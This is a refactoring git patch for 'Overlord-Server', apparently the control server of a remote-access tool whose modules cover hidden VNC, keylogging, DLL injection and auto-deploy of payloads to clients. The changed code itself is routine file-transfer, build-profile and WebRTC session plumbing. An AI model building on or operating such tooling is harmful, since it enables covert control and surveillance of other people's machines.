From 3102a00e8c7d02b2f21318ad4fd42bb91949a9e8 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Fri, 29 May 2026 20:14:31 -0500 Subject: [PATCH] more modularization --- Overlord-Server/src/main-server.ts | 3 +- .../src/server/auto-deploy-dispatch.ts | 2 +- .../src/server/file-transfer-state.ts | 237 +++++++++++++++++ .../src/server/routes/build-profile-routes.ts | 99 +++++++ .../src/server/routes/build-routes.ts | 91 +------ .../src/server/routes/deploy-routes.ts | 2 +- .../src/server/routes/file-download-routes.ts | 248 ++---------------- .../src/server/routes/winre-routes.ts | 2 +- .../src/server/webrtc-p2p-sessions.ts | 45 ++++ .../src/server/ws-console-rd-hvnc.ts | 117 +-------- .../src/server/ws-desktop-audio.ts | 4 +- .../server/ws-file-process-proxy-keylogger.ts | 26 +- Overlord-Server/src/server/ws-viewer-utils.ts | 74 ++++++ 13 files changed, 497 insertions(+), 453 deletions(-) create mode 100644 Overlord-Server/src/server/file-transfer-state.ts create mode 100644 Overlord-Server/src/server/routes/build-profile-routes.ts create mode 100644 Overlord-Server/src/server/webrtc-p2p-sessions.ts create mode 100644 Overlord-Server/src/server/ws-viewer-utils.ts diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index 41e4337..a717d83 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -27,7 +27,8 @@ import { handleSolRoutes } from "./server/routes/sol-routes"; import { handleAssetsRoutes } from "./server/routes/assets-routes"; import { handleDeployRoutes } from "./server/routes/deploy-routes"; import { handleWinRERoutes } from "./server/routes/winre-routes"; -import { cleanupFileTransferTempFiles, handleFileDownloadRoutes } from "./server/routes/file-download-routes"; +import { handleFileDownloadRoutes } from "./server/routes/file-download-routes"; +import { cleanupFileTransferTempFiles } from "./server/file-transfer-state"; import { handleClientRoutes } from "./server/routes/client-routes"; import { handleMiscRoutes } from "./server/routes/misc-routes"; import { handleNotificationsConfigRoutes } from "./server/routes/notifications-config-routes"; diff --git a/Overlord-Server/src/server/auto-deploy-dispatch.ts b/Overlord-Server/src/server/auto-deploy-dispatch.ts index 5929ac4..ab25bb3 100644 --- a/Overlord-Server/src/server/auto-deploy-dispatch.ts +++ b/Overlord-Server/src/server/auto-deploy-dispatch.ts @@ -8,7 +8,7 @@ import type { SocketData } from "../sessions/types"; import type { ClientInfo } from "../types"; import { logAudit, AuditAction } from "../auditLog"; import { normalizeClientOs } from "./deploy-utils"; -import { createUploadPull } from "./routes/file-download-routes"; +import { createUploadPull } from "./file-transfer-state"; export function dispatchAutoDeploysForConnection( info: ClientInfo, diff --git a/Overlord-Server/src/server/file-transfer-state.ts b/Overlord-Server/src/server/file-transfer-state.ts new file mode 100644 index 0000000..945e1fe --- /dev/null +++ b/Overlord-Server/src/server/file-transfer-state.ts @@ -0,0 +1,237 @@ +import fs from "fs/promises"; +import type { FileHandle } from "fs/promises"; +import path from "path"; +import { v4 as uuidv4 } from "uuid"; + +export type PendingHttpDownload = { + commandId: string; + clientId: string; + path: string; + fileName: string; + total: number; + receivedBytes: number; + receivedOffsets: Set; + receivedChunks: Set; + chunkSize: number; + expectedChunks: number; + loggedTotal?: boolean; + loggedFirstChunk?: boolean; + tmpPath: string; + fileHandle: any; + resolve: (entry: PendingHttpDownload) => void; + reject: (error: Error) => void; + timeout: ReturnType; + streamController?: ReadableStreamDefaultController; + reorderBuffer?: Map; + nextExpectedOffset?: number; + streamErrored?: boolean; + onFirstChunk?: () => void; + firstChunkSignaled?: boolean; +}; + +export type DownloadIntent = { + id: string; + userId: number; + clientId: string; + path: string; + expiresAt: number; + timeout: ReturnType; +}; + +export type UploadIntent = { + id: string; + userId: number; + clientId: string; + path: string; + fileName: string; + expiresAt: number; + timeout: ReturnType; +}; + +export type StreamingPullState = { + size: number; + done: boolean; + error: Error | null; + waiters: Array<() => void>; +}; + +export type UploadPull = { + id: string; + clientId: string; + path: string; + fileName: string; + tmpPath: string; + size: number; + expiresAt: number; + timeout: ReturnType; + deleteFile: boolean; + state?: StreamingPullState; + expectedTotal?: number; +}; + +function parsePositiveIntEnv(name: string, fallback: number): number { + const raw = process.env[name]; + if (!raw) return fallback; + const parsed = Number(raw); + if (!Number.isFinite(parsed) || parsed <= 0) return fallback; + return Math.floor(parsed); +} + +export const UUID_TOKEN_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i; + +// WAN uploads can be significantly slower than LAN transfers. +export const FILE_UPLOAD_INTENT_TTL_MS = parsePositiveIntEnv( + "OVERLORD_FILE_UPLOAD_INTENT_TTL_MS", + 30 * 60_000, +); +export const FILE_UPLOAD_PULL_TTL_MS = parsePositiveIntEnv( + "OVERLORD_FILE_UPLOAD_PULL_TTL_MS", + 30 * 60_000, +); + +export const uploadIntents = new Map(); +export const uploadPulls = new Map(); + +export function isSafeRemotePath(value: string): boolean { + if (!value || value.length > 4096) return false; + if (/[\x00-\x1F\x7F]/.test(value)) return false; + if (/(\.\.([\/\\]|$))/.test(value)) return false; + return true; +} + +export function notifyPullWaiters(state: StreamingPullState) { + const list = state.waiters.splice(0); + for (const w of list) { + try { w(); } catch {} + } +} + +export function waitForPullProgress(state: StreamingPullState): Promise { + if (state.done) return Promise.resolve(); + return new Promise((resolve) => state.waiters.push(resolve)); +} + +export function makeIncrementalPullStream(pull: UploadPull): ReadableStream { + let cancelled = false; + return new ReadableStream({ + async start(controller) { + const state = pull.state; + if (!state) { + controller.close(); + return; + } + let fh: FileHandle | null = null; + try { + fh = await fs.open(pull.tmpPath, "r"); + let pos = 0; + const READ_CHUNK = 256 * 1024; + while (!cancelled) { + while (pos < state.size && !cancelled) { + const remaining = state.size - pos; + const buf = new Uint8Array(Math.min(remaining, READ_CHUNK)); + const { bytesRead } = await fh.read(buf, 0, buf.length, pos); + if (bytesRead === 0) break; + controller.enqueue(bytesRead === buf.length ? buf : buf.subarray(0, bytesRead)); + pos += bytesRead; + } + if (cancelled) return; + if (state.error) { + controller.error(state.error); + return; + } + if (state.done) { + controller.close(); + return; + } + await Promise.race([ + waitForPullProgress(state), + new Promise((res) => setTimeout(res, 5000)), + ]); + } + } catch (err) { + try { controller.error(err); } catch {} + } finally { + if (fh) { + try { await fh.close(); } catch {} + } + } + }, + cancel() { + cancelled = true; + if (pull.state) { + notifyPullWaiters(pull.state); + } + }, + }); +} + +export function streamFileAndDelete(tmpPath: string): ReadableStream { + const reader = Bun.file(tmpPath).stream().getReader(); + let cleaned = false; + + const cleanup = async () => { + if (cleaned) return; + cleaned = true; + try { await reader.cancel(); } catch {} + await fs.unlink(tmpPath).catch(() => {}); + }; + + return new ReadableStream({ + async pull(controller) { + try { + const { done, value } = await reader.read(); + if (done) { + await cleanup(); + controller.close(); + return; + } + if (value) { + controller.enqueue(value); + } + } catch (err) { + controller.error(err); + await cleanup(); + } + }, + async cancel() { + try { + await reader.cancel(); + } catch {} + await cleanup(); + }, + }); +} + +export async function cleanupFileTransferTempFiles(dataDir: string): Promise { + const uploadsDir = path.join(dataDir, "uploads"); + const downloadsDir = path.join(dataDir, "downloads"); + await fs.rm(uploadsDir, { recursive: true, force: true }).catch(() => {}); + await fs.rm(downloadsDir, { recursive: true, force: true }).catch(() => {}); +} + +export function createUploadPull(opts: { + clientId: string; + filePath: string; + fileName: string; + size: number; + ttlMs?: number; +}): string { + const pullId = uuidv4(); + const ttl = opts.ttlMs ?? FILE_UPLOAD_PULL_TTL_MS; + const expiresAt = Date.now() + ttl; + const pullTimeout = setTimeout(() => { + uploadPulls.delete(pullId); + }, ttl); + uploadPulls.set(pullId, { + id: pullId, + clientId: opts.clientId, + path: opts.filePath, + fileName: opts.fileName, + tmpPath: opts.filePath, + size: opts.size, + expiresAt, + timeout: pullTimeout, + deleteFile: false, + }); + return pullId; +} diff --git a/Overlord-Server/src/server/routes/build-profile-routes.ts b/Overlord-Server/src/server/routes/build-profile-routes.ts new file mode 100644 index 0000000..4945c37 --- /dev/null +++ b/Overlord-Server/src/server/routes/build-profile-routes.ts @@ -0,0 +1,99 @@ +import type { AuthenticatedUser } from "../../auth"; +import { + deleteBuildProfileForUser, + listBuildProfilesForUser, + saveBuildProfileForUser, +} from "../../db"; +import { requirePermission } from "../../rbac"; + +export async function handleBuildProfileRoutes( + req: Request, + url: URL, + user: AuthenticatedUser, +): Promise { + if (req.method === "GET" && url.pathname === "/api/build/profiles") { + requirePermission(user, "clients:build"); + + const profiles = listBuildProfilesForUser(user.userId).map((p) => { + let parsedConfig: any = {}; + try { + parsedConfig = JSON.parse(p.profileJson); + } catch { + parsedConfig = {}; + } + return { + name: p.name, + config: parsedConfig, + createdAt: p.createdAt, + updatedAt: p.updatedAt, + }; + }); + return Response.json({ profiles }); + } + + if (req.method === "POST" && url.pathname === "/api/build/profiles") { + requirePermission(user, "clients:build"); + + const body = await req.json(); + const name = typeof body?.name === "string" ? body.name.trim() : ""; + const config = body?.config; + + if (!name || name.length > 64 || !/^[A-Za-z0-9 _.-]+$/.test(name)) { + return Response.json( + { error: "Invalid profile name (1-64 chars, letters/numbers/space/._-)" }, + { status: 400 }, + ); + } + + if (!config || typeof config !== "object" || Array.isArray(config)) { + return Response.json({ error: "Invalid profile config" }, { status: 400 }); + } + + const MAX_PROFILES_PER_USER = 50; + const existingProfiles = listBuildProfilesForUser(user.userId); + const hasExistingWithSameName = existingProfiles.some((p) => p.name === name); + if (!hasExistingWithSameName && existingProfiles.length >= MAX_PROFILES_PER_USER) { + return Response.json( + { error: `Profile limit reached (${MAX_PROFILES_PER_USER} max)` }, + { status: 400 }, + ); + } + + let profileJson = "{}"; + try { + profileJson = JSON.stringify(config); + } catch { + return Response.json({ error: "Profile config must be JSON serializable" }, { status: 400 }); + } + + if (profileJson.length > 512 * 1024) { + return Response.json({ error: "Profile config too large (max 512KB)" }, { status: 400 }); + } + + saveBuildProfileForUser(user.userId, name, profileJson); + return Response.json({ success: true }); + } + + if (req.method === "DELETE" && url.pathname.match(/^\/api\/build\/profiles\/.+$/)) { + requirePermission(user, "clients:build"); + + const encodedName = url.pathname.split("/api/build/profiles/")[1] || ""; + let name = ""; + try { + name = decodeURIComponent(encodedName).trim(); + } catch { + return Response.json({ error: "Invalid profile name" }, { status: 400 }); + } + if (!name) { + return Response.json({ error: "Invalid profile name" }, { status: 400 }); + } + + const deleted = deleteBuildProfileForUser(user.userId, name); + if (!deleted) { + return Response.json({ error: "Profile not found" }, { status: 404 }); + } + return Response.json({ success: true }); + } + + return null; +} diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts index dc033ed..1fda772 100644 --- a/Overlord-Server/src/server/routes/build-routes.ts +++ b/Overlord-Server/src/server/routes/build-routes.ts @@ -10,9 +10,6 @@ import { getBuild, countBuildsForUser, getOldestBuildForUser, - listBuildProfilesForUser, - saveBuildProfileForUser, - deleteBuildProfileForUser, setBuildBlocked, listClientIdsByBuildTag, countBuildClaimsBatch, @@ -29,7 +26,8 @@ import { addBuildToBanlist, removeBuildFromBanlist } from "../build-signing"; import path from "path"; import fs from "fs"; import { resolveRuntimeRoot } from "../runtime-paths"; -import { createUploadPull } from "./file-download-routes"; +import { createUploadPull } from "../file-transfer-state"; +import { handleBuildProfileRoutes } from "./build-profile-routes"; type RequestIpProvider = { requestIP: (req: Request) => { address?: string } | null | undefined; @@ -426,89 +424,8 @@ export async function handleBuildRoutes( return Response.json({ builds: enriched }); } - if (req.method === "GET" && url.pathname === "/api/build/profiles") { - requirePermission(user, "clients:build"); - - const profiles = listBuildProfilesForUser(user.userId).map((p) => { - let parsedConfig: any = {}; - try { - parsedConfig = JSON.parse(p.profileJson); - } catch { - parsedConfig = {}; - } - return { - name: p.name, - config: parsedConfig, - createdAt: p.createdAt, - updatedAt: p.updatedAt, - }; - }); - return Response.json({ profiles }); - } - - if (req.method === "POST" && url.pathname === "/api/build/profiles") { - requirePermission(user, "clients:build"); - - const body = await req.json(); - const name = typeof body?.name === "string" ? body.name.trim() : ""; - const config = body?.config; - - if (!name || name.length > 64 || !/^[A-Za-z0-9 _.-]+$/.test(name)) { - return Response.json( - { error: "Invalid profile name (1-64 chars, letters/numbers/space/._-)" }, - { status: 400 }, - ); - } - - if (!config || typeof config !== "object" || Array.isArray(config)) { - return Response.json({ error: "Invalid profile config" }, { status: 400 }); - } - - const MAX_PROFILES_PER_USER = 50; - const existingProfiles = listBuildProfilesForUser(user.userId); - const hasExistingWithSameName = existingProfiles.some((p) => p.name === name); - if (!hasExistingWithSameName && existingProfiles.length >= MAX_PROFILES_PER_USER) { - return Response.json( - { error: `Profile limit reached (${MAX_PROFILES_PER_USER} max)` }, - { status: 400 }, - ); - } - - let profileJson = "{}"; - try { - profileJson = JSON.stringify(config); - } catch { - return Response.json({ error: "Profile config must be JSON serializable" }, { status: 400 }); - } - - if (profileJson.length > 512 * 1024) { - return Response.json({ error: "Profile config too large (max 512KB)" }, { status: 400 }); - } - - saveBuildProfileForUser(user.userId, name, profileJson); - return Response.json({ success: true }); - } - - if (req.method === "DELETE" && url.pathname.match(/^\/api\/build\/profiles\/.+$/)) { - requirePermission(user, "clients:build"); - - const encodedName = url.pathname.split("/api/build/profiles/")[1] || ""; - let name = ""; - try { - name = decodeURIComponent(encodedName).trim(); - } catch { - return Response.json({ error: "Invalid profile name" }, { status: 400 }); - } - if (!name) { - return Response.json({ error: "Invalid profile name" }, { status: 400 }); - } - - const deleted = deleteBuildProfileForUser(user.userId, name); - if (!deleted) { - return Response.json({ error: "Profile not found" }, { status: 404 }); - } - return Response.json({ success: true }); - } + const profileResult = await handleBuildProfileRoutes(req, url, user); + if (profileResult) return profileResult; if (req.method === "DELETE" && url.pathname.match(/^\/api\/build\/(.+)\/delete$/)) { requirePermission(user, "clients:build"); diff --git a/Overlord-Server/src/server/routes/deploy-routes.ts b/Overlord-Server/src/server/routes/deploy-routes.ts index 7b51d3c..9b15e9e 100644 --- a/Overlord-Server/src/server/routes/deploy-routes.ts +++ b/Overlord-Server/src/server/routes/deploy-routes.ts @@ -8,7 +8,7 @@ import * as clientManager from "../../clientManager"; import { metrics } from "../../metrics"; import { encodeMessage } from "../../protocol"; import { requirePermission } from "../../rbac"; -import { createUploadPull } from "./file-download-routes"; +import { createUploadPull } from "../file-transfer-state"; type RequestIpProvider = { requestIP: (req: Request) => { address?: string } | null | undefined; diff --git a/Overlord-Server/src/server/routes/file-download-routes.ts b/Overlord-Server/src/server/routes/file-download-routes.ts index 0ccba21..14ef91b 100644 --- a/Overlord-Server/src/server/routes/file-download-routes.ts +++ b/Overlord-Server/src/server/routes/file-download-routes.ts @@ -1,5 +1,4 @@ import fs from "fs/promises"; -import type { FileHandle } from "fs/promises"; import path from "path"; import { v4 as uuidv4 } from "uuid"; import { authenticateRequest } from "../../auth"; @@ -10,143 +9,26 @@ import { encodeMessage } from "../../protocol"; import { getConfig } from "../../config"; import { isAuthorizedAgentRequest } from "../agent-auth"; import { requireClientAccess, requireFeatureAccess, requirePermission } from "../../rbac"; +import { + FILE_UPLOAD_INTENT_TTL_MS, + FILE_UPLOAD_PULL_TTL_MS, + UUID_TOKEN_RE, + isSafeRemotePath, + makeIncrementalPullStream, + notifyPullWaiters, + streamFileAndDelete, + uploadIntents, + uploadPulls, + waitForPullProgress, + type DownloadIntent, + type PendingHttpDownload, + type StreamingPullState, +} from "../file-transfer-state"; type RequestIpProvider = { requestIP: (req: Request) => { address?: string } | null | undefined; }; -type PendingHttpDownload = { - commandId: string; - clientId: string; - path: string; - fileName: string; - total: number; - receivedBytes: number; - receivedOffsets: Set; - receivedChunks: Set; - chunkSize: number; - expectedChunks: number; - loggedTotal?: boolean; - loggedFirstChunk?: boolean; - tmpPath: string; - fileHandle: any; - resolve: (entry: PendingHttpDownload) => void; - reject: (error: Error) => void; - timeout: ReturnType; - streamController?: ReadableStreamDefaultController; - reorderBuffer?: Map; - nextExpectedOffset?: number; - streamErrored?: boolean; - onFirstChunk?: () => void; - firstChunkSignaled?: boolean; -}; - -type DownloadIntent = { - id: string; - userId: number; - clientId: string; - path: string; - expiresAt: number; - timeout: ReturnType; -}; - -type UploadIntent = { - id: string; - userId: number; - clientId: string; - path: string; - fileName: string; - expiresAt: number; - timeout: ReturnType; -}; - -type StreamingPullState = { - size: number; - done: boolean; - error: Error | null; - waiters: Array<() => void>; -}; - -type UploadPull = { - id: string; - clientId: string; - path: string; - fileName: string; - tmpPath: string; - size: number; - expiresAt: number; - timeout: ReturnType; - deleteFile: boolean; - state?: StreamingPullState; - expectedTotal?: number; -}; - -function notifyPullWaiters(state: StreamingPullState) { - const list = state.waiters.splice(0); - for (const w of list) { - try { w(); } catch {} - } -} - -function waitForPullProgress(state: StreamingPullState): Promise { - if (state.done) return Promise.resolve(); - return new Promise((resolve) => state.waiters.push(resolve)); -} - -function makeIncrementalPullStream(pull: UploadPull): ReadableStream { - let cancelled = false; - return new ReadableStream({ - async start(controller) { - const state = pull.state; - if (!state) { - controller.close(); - return; - } - let fh: FileHandle | null = null; - try { - fh = await fs.open(pull.tmpPath, "r"); - let pos = 0; - const READ_CHUNK = 256 * 1024; - while (!cancelled) { - while (pos < state.size && !cancelled) { - const remaining = state.size - pos; - const buf = new Uint8Array(Math.min(remaining, READ_CHUNK)); - const { bytesRead } = await fh.read(buf, 0, buf.length, pos); - if (bytesRead === 0) break; - controller.enqueue(bytesRead === buf.length ? buf : buf.subarray(0, bytesRead)); - pos += bytesRead; - } - if (cancelled) return; - if (state.error) { - controller.error(state.error); - return; - } - if (state.done) { - controller.close(); - return; - } - await Promise.race([ - waitForPullProgress(state), - new Promise((res) => setTimeout(res, 5000)), - ]); - } - } catch (err) { - try { controller.error(err); } catch {} - } finally { - if (fh) { - try { await fh.close(); } catch {} - } - } - }, - cancel() { - cancelled = true; - if (pull.state) { - notifyPullWaiters(pull.state); - } - }, - }); -} - type FileDownloadRouteDeps = { DATA_DIR: string; secureHeaders: (contentType?: string) => Record; @@ -155,79 +37,6 @@ type FileDownloadRouteDeps = { downloadIntents: Map; }; -export async function cleanupFileTransferTempFiles(dataDir: string): Promise { - const uploadsDir = path.join(dataDir, "uploads"); - const downloadsDir = path.join(dataDir, "downloads"); - await fs.rm(uploadsDir, { recursive: true, force: true }).catch(() => {}); - await fs.rm(downloadsDir, { recursive: true, force: true }).catch(() => {}); -} - -function streamFileAndDelete(tmpPath: string): ReadableStream { - const reader = Bun.file(tmpPath).stream().getReader(); - let cleaned = false; - - const cleanup = async () => { - if (cleaned) return; - cleaned = true; - try { await reader.cancel(); } catch {} - await fs.unlink(tmpPath).catch(() => {}); - }; - - return new ReadableStream({ - async pull(controller) { - try { - const { done, value } = await reader.read(); - if (done) { - await cleanup(); - controller.close(); - return; - } - if (value) { - controller.enqueue(value); - } - } catch (err) { - controller.error(err); - await cleanup(); - } - }, - async cancel() { - try { - await reader.cancel(); - } catch {} - await cleanup(); - }, - }); -} - -const UUID_TOKEN_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i; -const uploadIntents = new Map(); -const uploadPulls = new Map(); - -function parsePositiveIntEnv(name: string, fallback: number): number { - const raw = process.env[name]; - if (!raw) return fallback; - const parsed = Number(raw); - if (!Number.isFinite(parsed) || parsed <= 0) return fallback; - return Math.floor(parsed); -} - -// WAN uploads can be significantly slower than LAN transfers. -const FILE_UPLOAD_INTENT_TTL_MS = parsePositiveIntEnv( - "OVERLORD_FILE_UPLOAD_INTENT_TTL_MS", - 30 * 60_000, -); -const FILE_UPLOAD_PULL_TTL_MS = parsePositiveIntEnv( - "OVERLORD_FILE_UPLOAD_PULL_TTL_MS", - 30 * 60_000, -); - -function isSafeRemotePath(value: string): boolean { - if (!value || value.length > 4096) return false; - if (/[\x00-\x1F\x7F]/.test(value)) return false; - if (/(\.\.([\/\\]|$))/.test(value)) return false; - return true; -} - async function serveDownloadById( req: Request, downloadId: string, @@ -437,33 +246,6 @@ async function serveDownloadById( return new Response(stream, { headers }); } -export function createUploadPull(opts: { - clientId: string; - filePath: string; - fileName: string; - size: number; - ttlMs?: number; -}): string { - const pullId = uuidv4(); - const ttl = opts.ttlMs ?? FILE_UPLOAD_PULL_TTL_MS; - const expiresAt = Date.now() + ttl; - const pullTimeout = setTimeout(() => { - uploadPulls.delete(pullId); - }, ttl); - uploadPulls.set(pullId, { - id: pullId, - clientId: opts.clientId, - path: opts.filePath, - fileName: opts.fileName, - tmpPath: opts.filePath, - size: opts.size, - expiresAt, - timeout: pullTimeout, - deleteFile: false, - }); - return pullId; -} - export async function handleFileDownloadRoutes( req: Request, url: URL, diff --git a/Overlord-Server/src/server/routes/winre-routes.ts b/Overlord-Server/src/server/routes/winre-routes.ts index a9540d7..7b65b2c 100644 --- a/Overlord-Server/src/server/routes/winre-routes.ts +++ b/Overlord-Server/src/server/routes/winre-routes.ts @@ -7,7 +7,7 @@ import * as clientManager from "../../clientManager"; import { metrics } from "../../metrics"; import { encodeMessage } from "../../protocol"; import { requirePermission } from "../../rbac"; -import { createUploadPull } from "./file-download-routes"; +import { createUploadPull } from "../file-transfer-state"; type RequestIpProvider = { requestIP: (req: Request) => { address?: string } | null | undefined; diff --git a/Overlord-Server/src/server/webrtc-p2p-sessions.ts b/Overlord-Server/src/server/webrtc-p2p-sessions.ts new file mode 100644 index 0000000..76118e6 --- /dev/null +++ b/Overlord-Server/src/server/webrtc-p2p-sessions.ts @@ -0,0 +1,45 @@ +import type { ServerWebSocket } from "bun"; +import { v4 as uuidv4 } from "uuid"; +import type { SocketData } from "../sessions/types"; + +export type P2PKind = "desktop" | "webcam" | "audio"; + +export type P2PSession = { + viewer: ServerWebSocket; + clientId: string; + kind: P2PKind; +}; + +const p2pAgentToViewer = new Map(); +const p2pViewerToAgent = new WeakMap, string>(); + +export function createP2PSession(ws: ServerWebSocket, clientId: string, kind: P2PKind): string { + const prior = p2pViewerToAgent.get(ws); + if (prior) { + p2pAgentToViewer.delete(prior); + } + const sessionId = uuidv4(); + p2pAgentToViewer.set(sessionId, { viewer: ws, clientId, kind }); + p2pViewerToAgent.set(ws, sessionId); + return sessionId; +} + +export function lookupP2PSession(sessionId: string): P2PSession | undefined { + return p2pAgentToViewer.get(sessionId); +} + +export function getP2PSessionIdForViewer(ws: ServerWebSocket): string | undefined { + return p2pViewerToAgent.get(ws); +} + +export function clearP2PSessionForViewer(ws: ServerWebSocket): + | { sessionId: string; clientId: string; kind: P2PKind } + | null { + const sessionId = p2pViewerToAgent.get(ws); + if (!sessionId) return null; + const entry = p2pAgentToViewer.get(sessionId); + p2pAgentToViewer.delete(sessionId); + p2pViewerToAgent.delete(ws); + if (!entry) return null; + return { sessionId, clientId: entry.clientId, kind: entry.kind }; +} diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts index a87a0d3..129cad1 100644 --- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts @@ -1,5 +1,4 @@ import type { ServerWebSocket } from "bun"; -import { decode as msgpackDecode, encode as msgpackEncode } from "@msgpack/msgpack"; import { v4 as uuidv4 } from "uuid"; import { existsSync, readFileSync } from "fs"; import path from "path"; @@ -13,6 +12,18 @@ import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../session import type { ClientInfo } from "../types"; import { canUserAccessClient } from "../users"; import { issueWebrtcPublishToken, webrtcStreamPathFor } from "./routes/webrtc-routes"; +import { + buildViewerFrameBuffer, + decodeViewerPayload, + safeSendViewer, +} from "./ws-viewer-utils"; +import { + clearP2PSessionForViewer, + createP2PSession, + getP2PSessionIdForViewer, + lookupP2PSession, + type P2PSession, +} from "./webrtc-p2p-sessions"; let _cachedInjectionDll: Uint8Array | null = null; let _dllCachePath: string | null = null; @@ -109,66 +120,6 @@ function getCaptureDllBytes(): Uint8Array | null { return null; } -function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null { - if (typeof raw === "string") { - try { - return JSON.parse(raw); - } catch { - return null; - } - } - try { - const buf = raw instanceof Uint8Array ? raw : new Uint8Array(raw); - return msgpackDecode(buf); - } catch { - return null; - } -} - -function safeSendViewer(ws: ServerWebSocket, payload: unknown) { - try { - ws.send(msgpackEncode(payload)); - } catch (err) { - logger.error("[console] viewer send failed", err); - } -} - -function safeSendViewerFrame(ws: ServerWebSocket, bytes: Uint8Array, header?: any): number { - try { - const buf = buildViewerFrameBuffer(bytes, header); - ws.send(buf); - metrics.recordBytesSent(buf.length); - return buf.length; - } catch (err) { - logger.error("[rd] viewer frame send failed", err); - return 0; - } -} - -function buildViewerFrameBuffer(bytes: Uint8Array, header?: any): Uint8Array { - const meta = new Uint8Array(8); - meta[0] = 0x46; - meta[1] = 0x52; - meta[2] = 0x4d; - meta[3] = 1; - meta[4] = (header?.monitor ?? 0) & 0xff; - meta[5] = (header?.fps ?? 0) & 0xff; - const fmt = header?.format === "blocks" - ? 2 - : header?.format === "blocks_raw" - ? 3 - : header?.format === "h264" - ? 4 - : 1; - meta[6] = fmt; - meta[7] = 0; - - const buf = new Uint8Array(8 + bytes.length); - buf.set(meta, 0); - buf.set(bytes, 8); - return buf; -} - const VIEWER_BACKPRESSURE_BYTES = 2 * 1024 * 1024; // 2 MB function broadcastFrameToViewers( @@ -214,46 +165,6 @@ export const rdStreamingState = new Map(); const RD_INPUT_TTL_MS = 10_000; -export type P2PKind = "desktop" | "webcam" | "audio"; -type P2PSession = { - viewer: ServerWebSocket; - clientId: string; - kind: P2PKind; -}; -const p2pAgentToViewer = new Map(); -const p2pViewerToAgent = new WeakMap, string>(); - -export function createP2PSession(ws: ServerWebSocket, clientId: string, kind: P2PKind): string { - const prior = p2pViewerToAgent.get(ws); - if (prior) { - p2pAgentToViewer.delete(prior); - } - const sessionId = uuidv4(); - p2pAgentToViewer.set(sessionId, { viewer: ws, clientId, kind }); - p2pViewerToAgent.set(ws, sessionId); - return sessionId; -} - -function lookupP2PSession(sessionId: string): P2PSession | undefined { - return p2pAgentToViewer.get(sessionId); -} - -export function getP2PSessionIdForViewer(ws: ServerWebSocket): string | undefined { - return p2pViewerToAgent.get(ws); -} - -export function clearP2PSessionForViewer(ws: ServerWebSocket): - | { sessionId: string; clientId: string; kind: P2PKind } - | null { - const sessionId = p2pViewerToAgent.get(ws); - if (!sessionId) return null; - const entry = p2pAgentToViewer.get(sessionId); - p2pAgentToViewer.delete(sessionId); - p2pViewerToAgent.delete(ws); - if (!entry) return null; - return { sessionId, clientId: entry.clientId, kind: entry.kind }; -} - function pruneRdInputPending(now = Date.now()) { for (const [id, pending] of rdInputPending.entries()) { if (now - pending.sentAt > RD_INPUT_TTL_MS) { @@ -609,7 +520,7 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket break; } case "webrtc_p2p_ice": { - const sessionId = p2pViewerToAgent.get(ws); + const sessionId = getP2PSessionIdForViewer(ws); if (!sessionId) break; const candidate = typeof (payload as any).candidate === "string" ? (payload as any).candidate : ""; if (!candidate) break; @@ -957,7 +868,7 @@ export function handleWebcamViewerMessage(ws: ServerWebSocket, raw: break; } case "webrtc_p2p_ice": { - const sessionId = p2pViewerToAgent.get(ws); + const sessionId = getP2PSessionIdForViewer(ws); if (!sessionId) break; const candidate = typeof (payload as any).candidate === "string" ? (payload as any).candidate : ""; if (!candidate) break; diff --git a/Overlord-Server/src/server/ws-desktop-audio.ts b/Overlord-Server/src/server/ws-desktop-audio.ts index b5c8a32..e9188ec 100644 --- a/Overlord-Server/src/server/ws-desktop-audio.ts +++ b/Overlord-Server/src/server/ws-desktop-audio.ts @@ -7,10 +7,12 @@ import type { DesktopAudioViewer, SocketData } from "../sessions/types"; import { canUserAccessClient } from "../users"; import { issueWebrtcPublishToken, webrtcStreamPathFor } from "./routes/webrtc-routes"; import { - cleanupViewerP2P, clearP2PSessionForViewer, createP2PSession, getP2PSessionIdForViewer, +} from "./webrtc-p2p-sessions"; +import { + cleanupViewerP2P, } from "./ws-console-rd-hvnc"; function sendDesktopAudioCommand( diff --git a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts index cf7bc2d..49a0cc1 100644 --- a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts +++ b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts @@ -1,5 +1,4 @@ import type { ServerWebSocket } from "bun"; -import { decode as msgpackDecode, encode as msgpackEncode } from "@msgpack/msgpack"; import { v4 as uuidv4 } from "uuid"; import { AuditAction, logAudit } from "../auditLog"; import * as clientManager from "../clientManager"; @@ -10,6 +9,7 @@ import * as sessionManager from "../sessions/sessionManager"; import type { SocketData } from "../sessions/types"; import { normalizeFileUploadPayload } from "../fileTransfers"; import { canUserAccessClient } from "../users"; +import { decodeViewerPayload, safeSendViewer } from "./ws-viewer-utils"; type FileBrowserViewer = { id: string; @@ -39,30 +39,6 @@ function trackFileBrowserCommand(commandId: string, sessionId: string): void { setTimeout(() => fileBrowserCommandSessions.delete(commandId), 10 * 60 * 1000); } -function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null { - if (typeof raw === "string") { - try { - return JSON.parse(raw); - } catch { - return null; - } - } - try { - const buf = raw instanceof Uint8Array ? raw : new Uint8Array(raw); - return msgpackDecode(buf); - } catch { - return null; - } -} - -function safeSendViewer(ws: ServerWebSocket, payload: unknown) { - try { - ws.send(msgpackEncode(payload)); - } catch (err) { - logger.error("[viewer] send failed", err); - } -} - export function handleFileBrowserViewerOpen(ws: ServerWebSocket) { const { clientId, 